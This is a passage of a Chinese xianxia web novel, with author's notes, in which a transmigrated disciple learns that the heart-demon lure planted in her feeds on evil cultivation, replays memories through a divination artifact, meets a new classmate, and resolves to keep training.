步雁山夹了一筷子糖醋鱼:“我和两位先生还没完全商量好日后的教习计划,明日本也是休息。再者,苏修士还没回来,小悯的课业也尚未安排妥当,你就安心休息吧。” 关云铮顿时生龙活虎并且义愤填膺:“师父!你又诓我!” 章存舒正一筷又一筷地吃糖醋鱼:“怎么会,我虽然知情,但我确实做不了主啊。” 连映夹了一筷子草鱼放进关云铮碗里:“师父他总这样,别跟他计较。” 关云铮轻而易举地被师姐哄好,捧着碗认真吃饭了。 **** 既然明日也是休息,那饭后就可以暂时偷个懒,懈怠一会儿,关云铮拉着楚悯满归墟地逛,边逛边说些漫无边际的话题。 “你说那个灵兽派的叶泯,他这次要是真的来了,会将那条帮过你的巨蚺也带着吗?”关云铮问道。 楚悯想象了一下,觉得稍微有些无福消受:“要是带着,估计也只能放在灵笼里吧,灵兽受得了长时间待在灵笼里吗?” 关云铮皱了皱脸:“那估计是不会带了,那他的武器是什么?鞭子?” 楚悯也不大能确定:“大概是?也没准是个音修。”毕竟灵兽派中还是有相当一部分人选择了音修之道,那日相处虽未见得叶泯的乐器,但他究竟是不是音修还无法确定。 关云铮思维跳脱,上一秒还在聊新同窗,下一秒就跳到别的人身上了:“你说蒲先生教的过来这么多学生吗?应当有不少人选中的武器并非是剑吧?” 楚悯点点头:“不过剑修之所以受到仙盟推崇,便是因为可从他们的技法中举一反三,触类旁通,蒲先生应该还是会先教以剑为武器的一些招式和身法,待我们巩固之后再单独教某些武器特别、需要灵活变通的同窗。” “忙得过来吗?”关云铮听得忍不住皱眉,听起来就很焦头烂额。 楚悯也答不上这个问题,想了想才说:“我相信归墟会安排好的,不会让蒲先生累着。” 也是。毕竟是学生累着了能直接歇两天的地方,换作21世纪有这样好的学校,学生应该已经高兴疯了。 这么一想,高中时候至少要学六门课,大学更是有一年专业课就有八门,两相对比之下,修仙已经显得格外舒坦……个屁。 又在忍不住对比痛苦了啊关云铮,她恨铁不成钢地在心里想。 “不过这大概也是这些年来邪修壮大得格外迅速的原因,毕竟不是所有人都愿意在看得到尽头的捷径和一眼望不到出路的荆棘丛之间,选择荆棘丛吧。”楚悯忽然这样说道。 虽然看过不少修仙文,但邪修毕竟从来不是这类的主角,不同文中的邪修也各有不同,更别说她此刻正身处真正的修仙世界,因此关云铮还是问道:“捷径……究竟有多捷径?” 楚悯对邪修的了解也不多,但天问作为镇守一方的仙门,在管辖境内抓到的邪修数不胜数,因此对他们的手段也算是有所耳闻:“比如邪修中的丹修,他们用活人气血炼制的丹药可分为三种境界,用普通人炼制的可以帮助突破筑基,用修道者的则能跃升至金丹,至于更高修为的……目前没有过,但想必会得到更强大的进益。” 关云铮已经听呆了,只觉此事同吃人也没什么区别:“那其他的邪修呢?” 楚悯皱着眉头:“至于这几年用精魂修炼的邪修,他们其实更接近于鬼修,因为跟魂灵接触的时间久了,身上的活人气息会逐渐被死气压制,这样一来,他们身上生与死的界限模糊不清,会更容易靠近冥界,也就会接触到更多的魂灵。大约是身上像鬼的那部分越多,修为便越强。” 关云铮简直听得毛骨悚然。 抛弃了作为人的那部分,就可以轻而易举地得到修为…… “那邪修突破会有天劫吗?”关云铮又问道。 楚悯对这一件事倒是比较清楚:“不会,但是容易走火入魔。”她绕过一处树丛,“走火入魔乍听起来似乎对身体无害,甚至还能从邪修变成修为更强的魔修,但走火入魔的邪修无一例外会在运功时爆体而亡。” “那他们的势力这般壮大,也没有人想过该怎么解决走火入魔和爆体而亡的风险吗?”关云铮忍不住皱眉,这也太高风险负收益了吧,命都没了。 楚悯看向她:“有。” 关云铮无端从她的眼神中看到了相当严肃的意味,愣了一下才问:“是什么?” 楚悯看着她的眼睛,或者准确地说,是看着她的眉心:“心魔引。”—— 作者有话说:榜单完成!哼哼哼我真是潜力无穷(bu) 第74章 逛是不可能再逛了, 关云铮被楚悯一句“心魔引”惊得不轻,拉着人随便找了个地方坐下,只顾得上看一眼周围有没有人经过, 确认此处无人问津后才说:“用心魔引来避免走火入魔?心魔引不该加快走火入魔吗?”都叫“引”了, 不该是激发才对? 虽然她也不明白自己纠结这一点做什么,毕竟后者对于她来说更是雪上加霜…… 楚悯从袖子里拿出一封信:“昨夜临睡前我给兄长和父亲写了一封信, 今早托章先生给我送过去了, 就在方才饭后,回信到了。” 关云铮对此事一无所知,愣了一会儿才问:“回信里说什么了?” 楚悯把信件摊开递给她。 关云铮接过写得密密麻麻的信纸,感觉自己有点晕字,硬着头皮看了几行,发现前半段似乎不是天问掌门和楚恽这二人中任何一人的语气, 更像是……供词? 难道是上次那个鬼灯楼的邪修? 想到那位邪修总觉得是相当久远的事,但关云铮几乎不需要仔细回想就想起……这分明就是两天前的事! 蒲飞鸢那句“你怎么过得这么跌宕起伏”的含金量还在上升。 恍如隔世啊, 恍如隔世。 关云铮仍旧看不惯竖版字,因此眼睛虽读得飞快, 脑子却落在后头缓慢地处理着信息, 也就还有余暇调侃一番自己精彩的修仙生活。 可当她的大脑处理完了已经过的信息,她脸上的轻松神情就有些挂不住了。 什么叫“心魔引能缓和走火入魔的进程”? 什么叫“长时间与心魔引共生能极大可能地规避爆体而亡?” “与心魔引共生之人会成为极佳的邪修之体”又是什么意思? 她只是看不惯竖版字,又不是不识字, 但这些字连在一起她怎么看不明白呢? 关云铮拿着信纸一脸茫然:“意思是我变成心魔引这东西的培养皿了吗?” 楚悯没明白培养皿这个现代化的词是什么意思, 但“培养”一词理解起来显然并无难处,她神色担忧:“这只是那邪修的一面之词。” 关云铮把看完的信还给楚悯,下意识深吸了一口气:“这是他写的供词?” 楚悯点点头:“大概是的。” 关云铮感到一阵头晕目眩,不明白之前除了活人炼丹几乎问不出什么的邪修,怎么忽然又有了这么多新的供词, 字字句句还都这么的……触目惊心。 楚悯的神色带着些歉意:“我先前以为将隐只是个寻常的天问法器,便没有及时询问父亲,但它耗费精力运行让我无法放心,所以昨夜才会给兄长和父亲写信……” 关云铮摆摆手表示自己并不在意这一点,但身体内涌上来的不适感依旧没有褪去。 中午的鱼分明处理得很好,黑衣*和血都清理干净了,为什么她此刻却像被腥味堵住了咽喉,想吐吐不出,咽又咽不下? 她强迫自己暂时忽视这种感觉,看向楚悯:“你父亲……是如何得知的?” 信中并没有明说,但楚悯确实有所猜测:“大概是溯洄。” 关云铮明白了:“回溯记忆?”是啊,她怎么没想到,溯洄是小悯父亲做出来的,将隐也是,溯洄中甚至原本就有死者魂魄残存的记忆,而将隐能回溯记忆,那溯洄可以看到记忆也不奇怪。 楚悯皱着眉头:“父亲寻常时刻是不会动用溯洄的,一定是又‘问’出了什么才会这样做。” 问题就在于,他问出了什么? 关云铮缓过那阵强烈的恶心,使劲揉了一把脸:“究竟有多少个心魔引?鬼灯楼又为什么会把心魔引给我?” 这个问题先前一直被她有意无意地忽视了,现在被问出来瞬间牵连出了更多早先被她忽略的问题:为什么这几个鬼灯楼的邪修都记得她?或者说记得原身这张脸?为什么最初那个邪修在认出她之后给她种下了心魔引?他先前分明只是想给她引魂。如果心魔引真的像这个邪修的供词一样,对邪修有益,那给她种下心魔引的人知道吗?是出于这个目的给她种下的吗,为了让她变成邪修? 他为什么觉得她会顺他的意,变成邪修? 难道心魔引就真的无可逆转,无论她是用正道的修炼方式还是走歪门邪道? 关云铮想冷笑,但面上勉强控制住了表情,抬起头对楚悯说:“我想做一件事,但可能有些冒犯。” 楚悯看了一眼她眉心,确认并没有浮现出红痕后放心道:“当下不是讲究冒犯与否的时候。” 关云铮把手放在她的乾坤袋上:“你说将隐能通过这封信,回溯出你父亲写信时的记忆吗?” “或许可以,但我父亲是将隐的制造者,所有的法器都不会违逆它们的制造者,除非……”楚悯垂眼看向关云铮手心那个互相嵌合的轮盘。 将隐向来是“念起则动”,一旦关云铮不对它提前施加管束,便会立刻运作起来。 “咔哒”一声,在关云铮的眼中,将隐开始转动。 楚悯捕捉到了那一瞬间关云铮眸光的闪烁,明白将隐已经开始运作,于是补全了方才的未尽之言:“除非制造者把法器完全交给了使用者。” 关云铮顾不上在这个节骨眼去思考天问的掌门为何要把将隐完全交给她了,因为一段完全陌生的记忆画面已经在她眼前徐徐展开。 **** 房间里的灯火晃了晃,楚泽枫抬起头,脸上浮现出有些莫名的神色,随即起身往议事堂走,在路上遇见了正要过来找他的楚恽。 “父亲去议事堂?今日有何要事?”楚恽问道。 楚泽枫看了他一眼,脚步没停:“小悯给你传信了?” 楚恽看了眼袖子,灵牒没发出一点光亮,因而沮丧道:“未曾。” 楚泽枫平静地应了一声,又说:“归墟有信。” 楚恽皱眉:“归墟?” 楚泽枫颔首:“你跟我过来一起看。” 楚恽一头雾水地跟上了。 议事堂今日无事可议,只点了几盏用来传信的烛火,故而堂内有些昏暗。 那封信静静地待在一盏烛火下方的桌面上,看来已经到了一会儿。 楚泽枫上前拿起信件拆开,看了一会儿后忽然看向一直跟在他身后的楚恽:“前几日那个邪修,送去仙盟了吗?” 楚恽本还在翘首以盼信件中小悯的消息,闻言愣了愣,又立刻肃然答道:“尚未,仍在门中关押。” 楚泽枫把信给他,又简短道:“去看看。” 楚恽一面跟上他父亲脚步,一面低头飞快地扫过信件上的内容。 是小悯的字迹,会写成信件而非灵牒传信大约是因为内容太多,借助烛火而来大概是有归墟之人的帮助,只是这信中所写…… 那日父亲让他转交,他只知那物是新造法器不知用途,原来并非寻常天问法器?既没有对使用者的境界设限,又不用使用灵气? 那岂非几乎不曾付出代价? 诚然,精力也是人生存的根本,但对比其他法器而言,无需使用灵气已是降低了一大截门槛,更别说不对境界设限了。 天问的寻常法器必对使用者修为设限,不抵达筑基后期断然无法使用,因为‘问’必须设限,如若触碰禁忌,必然付出代价,境界过低之人定然承受不起此等代价。 父亲作为天问掌门自然比任何人都清楚这一点,怎么会做出不设限的法器给云铮? 她也才初入门啊。 楚泽枫走在前头,像是知道他在想什么,头也不回地说:“所有代价转嫁我身。” 楚恽惊住了,本就拿着信件顾不上低头,此刻更是因一时没注意脚下石砖缝隙,险些崴了一脚。 楚泽枫听见动静,终于回头看了他这个鲜少如此不沉稳的儿子一眼。 失去七情之后的目光总是似人非人,楚恽以为自己早就习惯了,自从叔父去世便再也没奢求过看到父亲眼中的情绪波动。 可此刻那目光……那目光分明…… 楚恽的胸膛剧烈起伏着,眼眶像被人点着了,倏地滚烫起来。 因为小悯是叔父之后第二个天才,而小悯已经承担了问天的代价。 将隐可卜算可回溯,而小悯与云铮关系很好,甚至偶尔回信时提起过,云铮不愿让她经常卜算。 若是把将隐交给云铮,诸多困惑都能被将隐解决,而将隐运作并非没有代价,只是全都被父亲……转嫁到了他身上。 父亲依旧是那个父亲,他也绝不会让小悯成为下一个叔父。 …… 楚恽跟在楚泽枫身后往关押了那名邪修的地方走:“父亲怎么忽然要提审那邪修?” 楚泽枫情绪平淡:“方才起了一卦,那邪修身上有些事尚未审出来。” 楚恽皱起眉,天问的审问阵法是从建派之初传承下来的,历代掌门也会时常改进,按理来说没有什么是“问”不出来的,除非…… “那人自己也不‘知’此事?”楚恽问道。 有时人们会把看过、知晓过的事情忘却,虽然这些事仍旧在记忆深处,但天问的审问法阵是没有办法问出这些的。 父亲起卦算过又这样说,那一定是这种情况了。 可记忆之事……难道要动用溯洄? 只见他父亲干脆利落地走进那关押处,又趁那人反应不及,迅捷地把一个微型阵法印在他眉心灵台。 灵气其实有颜色,山川湖海中的灵气与鸟兽生灵携带的灵气,天然是两种颜色。 而调用溯洄的力量时,使用的灵气并非这两种中的任何一种,颜色也毫不相似。 溯洄的灵气是死灵,由附着于魂魄之上的一点残存记忆转化而成,颜色如烟似雾,不了解之人乍见此景容易以为是什么……歪门邪道。 眼前的邪修显然便是这样想的,估计只当过跑动的猪没见过猪肉,被雾气般的灵气吓得脸色煞白,要不是被束缚得死死的,怕是能连滚带爬地退出去几里地。 父亲背对着他,他只能看见邪修的神色逐渐从惊恐转为茫然,心知这是溯洄的记忆回溯起了作用,此人正在见证一段自己都倍感陌生的记忆。 回溯记忆的速度比记忆被储存时的速度快许多,顷刻之间父亲便看完了全部的回忆,转过身来看向楚恽。 楚恽下意识收敛自己脸上的神情:“父亲,可看到想要的了?” 楚泽枫点头,率先一步走出此地,示意楚恽跟上。 “是关于心魔引的事,他先前听人说起过,但没放在心上,方才用了些手段抽取出了这段记忆。”楚泽枫直来直往地把方才的事说了个大概。 楚恽陡然被这么重大的消息砸中,一时都懵了,很想知道他父亲怎么能如此平淡,一想又失语了,好半晌才说:“那可要写信告诉小悯?” 一直走在前方的楚泽枫忽然转过身来,往楚恽身后的某个方向看了一眼。 楚恽不明所以地跟着转过身,身后空无一人,连花草树木也无:“怎么了父亲?” 谁料楚泽枫只是平静地看着他身后的一处位置,说道:“不必,她已经知道了。” **** 关云铮猛地回神,险些被自己下意识倒吸的那口气呛着,在风里咳了半天,才拍着胸口看向一旁神色担忧的楚悯:“我看到的似乎并非你父亲的记忆。” 楚悯一愣:“那会是谁?难道是我兄长?” 可这回信的字迹分明是父亲的,难道兄长也接触过,所以给了将隐连接上的可能? 关云铮实在是被套娃般的记忆套晕了,这会儿脑子被庞大的信息量撑得要炸了,实在是难以继续忍受,正打算同楚悯说回苍生道的院子,就听身后传来一个她此刻并不十分想听见的声音。 “你们两个在我院子外做什么?”凌风起在两人身后问道。 关云铮脑子里一瞬间滚过一大片侮辱性不强但攻击性极高的话,隐忍地转过身:“凌师伯。” 楚悯跟着行了个礼:“凌先生。” 凌风起依旧是那副臭脸,抱着貂走过来时看清是关云铮,脸上的神情又臭又别扭,像是看见了欠他钱但又救过他命的人一样。 关云铮:您这么大岁数了何时能学会表情管理。 凌风起一走近立刻皱起眉头,随即目光不太礼貌地在关云铮脸上停留打量了一会儿,关云铮被他看得也想皱眉,就听面前这臭脾气师伯问道:“又受伤了?” 关云铮一愣,随即意识到是凌晨章存舒给的那罐药,她本来觉得脸上那点剐蹭虽然看着红但没破皮,便可以不用管,但师父都特意送药过来了,因此最后还是把药抹上了。 这都大半日过去了,按理来说没味道了啊。 凌风起这是什么狗鼻子? 哦没有侮辱狗的意思。 这话虽然脾气冲但确实是句关心,关云铮总不能置若罔闻,只好对上凌风起的视线答话:“昨日被剐蹭了一下,多谢凌师伯的药。” 凌风起皱眉看了她一会儿,弯腰把怀里的栖霜放下,又从宽大的袖子里拿出另一个小瓶子:“这个你也拿去。” 关云铮不解,但还是伸手接过:“这是……?” 凌风起收回手:“安神的,夜里睡前取一点涂抹在眉心处。” 楚悯平静的神色出现了一丝波动。 难道凌先生听到了她们的对话? 关云铮也倍感不妙,虽说凌风起是师父的师兄,是自己人,但一件事主动告知他人和没防备的情况下被人听去会导致两种截然不同的结果,万一凌风起听到了关于心魔引的事…… 凌风起看了二人一眼:“那法器看着颇耗费心神,夜里大概睡不好觉。” 关云铮松了一口气。 看来是没听到。 凌风起把心意送出去,再度开始赶人:“就算不用上课也太懈怠了,还不快回苍生道院修炼?” 关云铮失语,拿人手短又嘴软,不好跟他在这个当下拌嘴,于是只好拉着楚悯又给他行了个礼,两人一同往苍生道的院子回去了—— 作者有话说:*黑衣:鱼肚子里那层黑膜,不去掉的话鱼肉可能会发苦。 第75章 在走回苍生道院子的路上, 关云铮简单给楚悯说了说她方才看到的记忆:“视角更像是你兄长的,大概信也经过他手,所以将隐回溯了他的记忆。” 她还没忘记方才小悯说的那句话, 于是又补充道:“也可能像你说的, 法器不会违逆制造者,所以无法回溯你父亲的记忆吧。” 毕竟回信应该是小悯父亲写的, 哪怕楚师兄经手过这封信, 单从优先级来说,也该先回溯小悯父亲的记忆,如果没回溯,大概就是因为法器不会违逆制造者吧。 楚悯若有所思,重点却不在此:“意思是,心魔引只能汲取以邪修方式修炼之人的修为, 作为自己成长的养分?” 关云铮没想到她更关心此事,愣了一下才答道:“是, 若是正派修炼,修为增长并不会对它有利。” 楚悯皱眉:“既如此, 之前那鬼灯楼的邪修为何要给你种下这心魔引?是他不清楚这东西的作用, 还是他觉得……” 关云铮接上她的话茬:“大概是觉得我极有可能变成邪修。” 毕竟那人记得原身这张脸,所以在看到她时像季邕一样,在当下便明白了她并非原身, 而这种事一旦发生, 众人总会第一时间认为她是通过夺舍或是献舍而来——哪怕这两种技艺如今早已失了传承。 用夺舍一法夺取他人躯体,或是被人用献舍召来,无论是这两种的哪一种,在邪修眼中,她都是修炼邪道的好苗子。 可惜她既非夺舍也非献舍, 在劣根性这一点上便不满足心魔引培养皿的基础需求。 但同时…… 楚悯接着说:“但若是长时间没有得到邪道力量的滋养,它便会在你大量使用灵气或是处在灵气充溢的环境中时,让你苦不堪言?” 对,同时心魔引会持续不断地折磨她,直到她向它屈服,弃明投暗,投身于歪门邪道。 坦白说,要是让最开始那会儿刚穿越过来的她做选择——那时的她并不在意修炼究竟要用哪种方式,邪修还是所谓名门正派,都只不过是噱头,只要能强大起来,她觉得阵营是很无所谓的事。 她无意为自己开脱,很多人都有过一瞬或更长时间的走捷径心理,她并不为自己有过这样的心理感到愧疚和不堪,言语上的道貌岸然只是徒添虚伪,她对自己的阴暗面总是承认得十分坦然。 但现在既看过了部分邪修的所作所为,又遇上了师门这群人,更别说心魔引还打算强逼她修邪道…… 她的逆反心理瞬间就起来了。 从前就是这样,一百斤的人,九十多斤都是反骨。 最根本的原因还是这群邪修害死了原身,哪怕此事是多种因素造成的,并且她也有过错…… 但直接导致了原身死亡的人,势必要付出代价。 “如此一来,他为何要给你种下这心魔引,便说得通了。”楚悯神色凝重。 关云铮现在已经不在意邪修给她种下心魔引的原因了,只随意地摆了摆手,又说:“但还有一件事我想不通。” 楚悯配合着揭过此事不再多说,问道:“何事?” 关云铮看向她:“原身魂魄离体到我的魂魄就位这段时间,我在哪里?为什么我睁眼时便在归墟的择选现场?” 楚悯还真被问住了,好半晌才说:“你睁眼之前全无意识?” “我只觉得周围很吵,一直有人说话的声音,想必是魂魄就位时便已经在归墟了。”关云铮回忆着说道。 但是看原身的记忆,她的魂魄离体时分明尚在镜溪城外…… 难道她真是早就穿过来了只是没意识到?怎么的,那时候是还在排异反应,把脑子烧坏了? 关云铮对归墟择选前的事毫无印象,想得本就在晕碳的脑子更晕了,才逼迫自己停下别再去想,暂时放过自己:“算了,先去告诉师父心魔引的事吧,其他事以后再说。” **** 两人走回苍生道的路上不可避免地情绪低落。 虽然关云铮决定做得果决,内心喊着什么“誓要反抗心魔引到底”,实际上她也不清楚,如果一直修炼正派的术法,心魔引会怎样让她“苦不堪言”。 是会像过往一样让她头痛欲裂,还是会有新的花样,新的难受法? 发作时是可以被清心诀此类术法压制,还是用上任何措施都将无济于事? 向来负责活跃气氛的人忽然不说话,氛围会骤然降至冰点,楚悯知道自己该说点什么缓和当下的氛围和两人的心情,但事实就是找些无关的话题说不仅于事无补,以她平日说话的风格,还可能起不到安慰的作用。 楚悯直想叹气,直觉天问真该开设一门课教卜算卜傻了的弟子们如何说话。 只是她这口气还没叹出来,就感觉一阵咋呼声由远及近,头顶的天空甚至都随着声音响动暗了下来。 两人此刻都心不在焉,忽然被遮了太阳才一同后知后觉地抬起头—— 看清头顶到底是个什么东西的关云铮瞳孔骤缩,伸出手猛地拉了一把楚悯,两人一起向一侧踉跄了好几步,才堪堪躲开了那一架差点降落在两人头顶的灵舟。 关云铮皱起眉头,看向那个狼狈从灵舟上滚下来的人:“你是何人?” 昨日他们这些归墟弟子都没让灵舟进入这么深入的地方,这人哪来的?护山大阵竟也不拦吗? 那人滚下来还没消停,动势还没刹住就想起身,结果“咚”的一声,给拦在楚悯身前一脸警惕的关云铮跪下了。 楚悯没忍住:“噗。” 关云铮眉尾抽了抽,很想笑但忍住了:“不必行此大礼。”哪怕拜年也没有这么早的。 那人似乎并不觉得难堪,而是迅速爬起来拍了拍自己身上的浮尘,立刻向两人作了个揖:“失礼了,惊扰二位。在下乃是翠屏山弟子,名叫谭一筠,是上届教习弟子,受邀前来参与这届教习。” 还真是说曹操曹操到啊。 不过……“受邀前来?”关云铮问道。 谭一筠把灵舟缩小收回乾坤袋里,闻言答道:“是,这是邀请的信件。” 居然还有信?难道真是归墟请来的? 关云铮跟楚悯对视一眼,接过信件拆开,看完后又把信递给楚悯。 谭一筠观察着两人的神色:“我师父说,是章先生寄来的信,二位可去寻章先生辨明真伪。” 关云铮看了他一眼:“不用了,你能乘灵舟进来,说明这信上内容属实,是师父邀请你来的。” 谭一筠点点头,随即又愣了愣:“师父?二位是章先生的徒弟?” 楚悯看完了信,对着他摇摇头:“我是这届教习的弟子,不是归墟弟子。” 关云铮叹了口气,平时分明人影也见不着一个,要紧时候师父他老人家可真是抢手:“既然你说要见师父,那便随我来吧。” **** 护山大阵没有把谭一筠乘坐的灵舟拒之门外,就说明章存舒早就知道他此时会来,所以哪怕没有当着师父的面确认的必要,关云铮还是把人带回了章存舒的院子。 至于心魔引的事,还是等外人走了再说吧。 关云铮和楚悯蔫哒哒地走到连映身边坐下。 连映看她俩游魂似的,微微皱眉,一手一个摸了摸两人额头:“不舒服?” 两人欲言又止,丧气地看了一眼那边正说着话的章存舒和谭一筠。 连映有些迟疑地跟着看过去,压低了声音:“和新同窗有龃龉?” 关云铮瞪圆了眼睛,也压低了声音:“没有,他刚来我们就跟他闹矛盾岂不是我们归墟待客不周,是别的事。” 虽然是觉得此人有些冒失……但人家态度那么端正,也没甩脸色,恭恭敬敬的,哪至于闹什么矛盾。再说了,他毕竟是师父请来的人。 连映笑着摸了一下她的头发:“我知道,看你和小悯闷闷不乐,逗你们的。” 关云铮这才反应过来,迟钝地“喔”了一声,乖乖坐在原地不说话了。 过了好一会儿那边谭一筠才说完话,连映起身过去带人去教习弟子的住处歇下。 得了闲的章存舒转身看向蔫头耷脑的关云铮和楚悯:“这是怎么了?” 楚悯把那封回信递给他。 章存舒微挑眉:“这么快?” 他抽出信纸飞快地看完,脸上的神色看不出什么端倪,只是平静地又把信纸叠好推进信封,把信递还给楚悯。 “你父亲动用了溯洄?”他先看向楚悯问道。 楚悯点头:“我想大概是的。” 章存舒“嗯”了一声,又看向关云铮:“刚被种下心魔引的时候不是斗志昂扬的吗,怎么枯萎了?” “枯萎”这词就很形象。 不过关云铮觉得自己哪怕是花也是食人花,能一口把一个僵尸吃掉的那种。 她坐在原地颓然地叹了一口气:“原本只是到灵气充溢的地方,封印才会松动,才会被心魔引磋磨,我自然觉得没什么,大不了不去剑冢,不去来去峰。” 虽说昨日去来去峰那会儿,也没感受到心魔引作祟就是了。 但是现在这邪修的记忆里说,要是她动用大量灵气,也会使心魔引反噬。 那还修什么仙? 本来志得意满觉得只要变强了就可以对潜在的威胁全都无所畏惧,结果到头来她跟心魔引符合牛顿第三定律,她给心魔引一巴掌,心魔引给她一巴掌。 想想就让人躁狂。 章存舒失笑:“记忆也会作假。” 正想发疯的关云铮一愣,差点忘了还有这么一回事了。 “那被遗忘的记忆也会吗?”她只知道那些格外印象深刻的记忆多数时候都有细节上的偏差,而且越是一口咬定没记错,越是有可能是错误的。 但被遗忘的记忆,大脑也会对它进行扭曲加工吗? 好吧记忆的存储确实就是个扭曲加工的过程,但她总觉得这里是修仙世界,会和科学世界有一定程度的不同。 章存舒像是知道她在想什么似的,笑了笑说道:“当然,先不论这邪修记忆中的说辞是否完全为真,我给你下的封印也不是完全没有用处的。” 关云铮下意识想说“封印怎么可能全无用处”,又意识到章存舒话里有话:“师父你……” 章存舒难得没谜语人:“先前你灵台承受能力有限,封印也不敢设得太强硬,日后境界提升,灵台也会变得更为坚固,我也会加固封印。” 他不把任何事放在心上的样子关云铮不是第一次见,但还是第一次觉得这么靠谱,顿时都有点想哭了。 还以为要跟心魔引互相折磨一辈子了…… 难得靠谱的师父又笑了笑:“所以为今之计是什么?” 关云铮握拳:“努力修炼!”—— 作者有话说:话痨终于出场了() 谭一筠:明明是最先定下的那批名字,结果写了一半我才出场[爆哭] 今天被太阳晒晕了写得少了点() 第76章 与共同享福的人对比, 人们总是更愿意向共患难的人吐露心声,因为已经见过彼此狼狈不堪的一面了,此时吐露心声, 说起过往的经历或许还能缩减彼此之间的距离。 ——即便如此, 陆识微还是觉得向柳卿知谈论自己的过去,还是多少有些不知分寸了。 人家是朝安城里一人之下万人之上的宰相, 是因为心怀天下才会来江县这个穷乡僻壤的地方赈济流民, 自己不过是个县衙官员,还只是个九品司簿,哪里轮得上她来跟人吐露心声? 就算柳相愿意听,她们又能聊到一块儿去吗? 她那点在小地方官场摸爬滚打的经历在柳相眼里,怕不是只当些过眼云烟似的闲愁,听了便会忘吧。 她自觉方才失言, 正打算老实吃饭,低头时忽然被柳相颈间什么东西晃了一下眼。待她定睛, 却又不见踪影,倒像是她疑神疑鬼似的眼花。 谁料坐在她对面的柳卿知见着了她被晃了一瞬的神情后, 露出些许了然的神色, 伸手在领口附近一勾,把那东西拿了出来。 陆识微面前的饭菜顿时不香了,所有的注意力都在这一瞬被攫去了那小小的物件之上。 那是个面数极多的骰子。 不知是由什么材料做成, 闪着似金非金, 似铜非铜的光,分明是贴着肌肤的,却似乎一点久经磋磨的痕迹也无,上面的刻痕依旧无比清晰,不认识的像是符箓般的字也仍旧鲜明。 此刻正是午后难得的闲暇, 她观柳相神情并不着急,干脆自己也放下筷子朝她发问:“这是……?” 不知这东西究竟是怎么栓在那细链子上的,只见柳卿知稍一用力,把这小物件取了下来,放在手心展露在陆识微面前。 陆识微这次凑上前仔细数了数:“十八面?” 柳卿知颔首:“听过仙盟吗?” 仙盟她还真知道。 只不过在她所知有关仙盟的传闻中,他们的形象素来不太正面。 她爹娘向来讨厌为官者只说不做的做派,有些人更是官阶没见多高,官瘾倒是大得很,想一出是一出,平日里没少折腾平民百姓。 仙盟人对比普通为官者,这副做派则更是有过之而无不及。 仙盟之人每日都能碰见修道者,但修道者在世上仍算是少见,因此朝廷多数时候都用不上仙盟,大多问题都能自行解决。 故而仙盟中人虽皆有官职,但无一不是闲职,都是朝廷专门设来给这群逍遥闲人占着高兴用的,基本无甚实权。 仙盟从先帝的先帝起就在朝安城扎了根,已经落成了好些年,后来的皇帝不好废了祖制,因此只当对待仙盟是随手打发叫花子,养一大批早已辟谷不用吃饭的闲人又花不了几个钱。 只是这群叫花子有手有脚,有些甚至有本事傍身,久而久之便得寸进尺,妄图把手伸进朝堂这潭浑水里跟着搅一搅。 大鱼打架,倒霉的自然是混水里头挣扎求生的小鱼小虾。 她的爹娘是小鱼小虾,她也是小鱼小虾,周围的这些流民……甚至连鱼虾都算不上。 仙盟搅一搅池水,他们的世界就得天翻地覆。 她面色复杂,柳卿知自然明白她的弦外之音:“你可知洞玄?” 陆识微一愣,脑海中确乎有这样一个模糊的印象,但由于记载很少,是以她也不能确定是否是自己张冠李戴,故而迟疑着说:“是当年那个可探知灵根与天赋的仙门法器?” 柳卿知微抬下巴,示意她看向自己手心的十八面骰。 陆识微一愣,结合方才所说明白了什么,随即心脏不受控地狂跳起来:“大人是说……此物不仅可以用来探知灵根与天赋?” 柳卿知收拢手掌,把那发着光的东西拢进手心,在桌上食物散发出的氤氲热气中看向陆识微:“你想随我一起,改变这一切吗?” **** 被章存舒喂了一颗定心丸的关云铮正在自己的院子里练剑。 这种有人站在身后消除所有顾虑的感觉前所未有,比鸡血还能振奋人心,她此刻的精神状态像是喝了某家大杯纯茶,亢奋得快要跳起来了。 楚悯坐在桌边继续练习琴谱上的曲子,时不时和精神亢奋开小差的关云铮说上几句话。 等到把蒲飞鸢教过的所有剑诀和剑招都练了一遍,关云铮鬓角都湿透了,放下剑坐到楚悯身边给自己灌凉水。 “有时候我也会觉得自己是不是在假用功。”关云铮一口气喝完一整杯凉水,加上汗液蒸发带走的热量,终于让她的大脑冷却下来。她放空似的盯着茶盏的图案,出了这一身汗,累是累透了,可万一和她高中时期学数学一样,看似努力,把所有的错题都整理成册,每天晚自习抽一整节课做数学,时不时就揣着一大堆题目去问老师,实际上遇到相似的题型还是不太会呢?那岂不是白用功? 顶多只是感动自己而已。 楚悯从琴谱上抬起眼看她:“心魔引还是影响到你了。”如果是得知此事之前的云崽,应该不会有这样的感慨。 关云铮笑了一下,把茶盏拿在手里翻来覆去地看:“其实跟心魔引也没什么关系,非要说的话它不过是个……引线。” 她关于这个世界的认知,对自我的看法,看似平和稳定,实际上是浸泡了油的干草与木柴,只需要一星火苗就会被引燃,把她所有的伪饰都炸个干净,露出不堪推敲的脆弱内里。 她叹了口气,把茶盏随手一放,颓然地趴回桌上。 “不过方才我倒确实想起一件事。”她埋在自己的臂弯里说道。 楚悯“嗯”了一声:“想起何事?” 关云铮的声音因为隔着手臂,显得很闷沉:“昨日我们去看那试心玉时,分明离不熄鼎那样近,灵气也十分充沛,但心魔引却没有出来作乱。” 楚悯似乎是愣了愣:“对,险些忘了此事。” “你觉得是为何?”关云铮从手臂后探出一双眼睛。 楚悯摇摇头,也放下琴谱,学着关云铮的样子趴在桌上,说话时的语气有些愧疚:“我还在想方才父亲的回信。” 关云铮明白她在愧疚什么,眨眨眼睛说道:“这不是人之常情吗,再说了,想明白你父亲的回信,没准心魔引的事情就能彻底想明白了,我的困惑也就迎刃而解了。” 楚悯也只露出一双眼睛,说话时两人的脑袋在臂弯里浮浮沉沉:“父亲……我兄长的回忆里有何特别之处吗?”。那可有点多。 毕竟方才她只是简单同小悯说了说那段记忆,但是里头一些细节……她还不知道该不该告诉小悯。 一来她也有些愧疚,若是早就知道将隐的运作仍旧需要付出代价,而代价全都会被小悯的父亲承担,她恐怕也不愿意接手此物,更别提使用了,现在她得知此事,又该如何告知小悯,以后又该不该继续用呢? 二来,她总觉得小悯的父亲有点玄乎,记忆里最后那一眼,总像是在隔着记忆直接看她似的。看来他早有预料自己会通过将隐回溯这封回信上的记忆……这就还挺尴尬的,有种刚学会花拳绣腿的小孩子在成熟的大人面前班门弄斧的感觉,不对,应该说是小孩的窥探被大人发现的感觉。 